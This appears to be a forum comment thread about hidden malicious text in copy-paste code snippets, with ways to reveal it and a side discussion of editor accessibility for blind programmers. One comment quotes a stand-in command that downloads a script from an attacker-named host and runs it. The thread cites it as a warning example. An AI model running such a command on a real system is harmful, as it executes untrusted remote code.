Thank you for this, it was a very interestingread.

Not the original poster, but the _ trick works in ipython as well.

Cool, thanks for confirming.

Probably worthless tip, try browsing that code snippet with a screen reader. Yes, it is not hidden from that software. :-)

I feel that we are not exactly the target audience for this kind of tip. Linux forums are full of code snippets that people blindly copy and paste so this is clearly an extended behavior

In any case, most newbies wouldn't even understand whether a command is malicious or not (e.g. `wget http://hax0r.com/exploit.sh; bash exploit.sh`), but I wouldn't say the tip is worthless...

or you could just copy the code-snippet by placing the mouse next to character 'l' of 'ls' and mark it with shift+right arrow key.

Each selected character and of course white space gets highlighted. When you highlighted the white space next to 'ls' on the right next highlighted character should be '-' but i keeps on marking seemingly forever. If you paste that you'll see that every single character of 'invisible' code gets marked.

Browser reader modes reveal it, too.

I know, another guy wanting invites, but one at lukastyrychtr@gmail.com would be nice.

Done!

Thank you for the explanation of the accessibility breakage. And i also hope that they will fix it.

From my personal experience, it's useful if the editor has at least some basic support for this kind of blocks, e. g. enter key opens a line with same indent level etc. And editor scripting also helps, then you can write a script toreport the indent level on demand. Of course, many screen readers can report the number of spaces/tabs (e. g. the raw value), but you usually want only the level with respect to the current codebase and most likely only sometimes e. g. not on every line movement, you can infer the blocks sometimes from context and recheck only if needed/things go wrong.

I'm not the original author, but a blind coder nonetheless, so i think it's worth responding anyway. Sublime is an accessibility disaster, unfortunately, Emacs can be used, but it's much more productive with EmacsSpeak or Speechd-el. Vim would likely need something similar, because the advanced cursor movement commands have no screen reader feedback by default. The HN ui is quite okay, but some semantic comment nesting (like disqus comments, perhaps?) would help. Might be some filtering for new comments since last visit.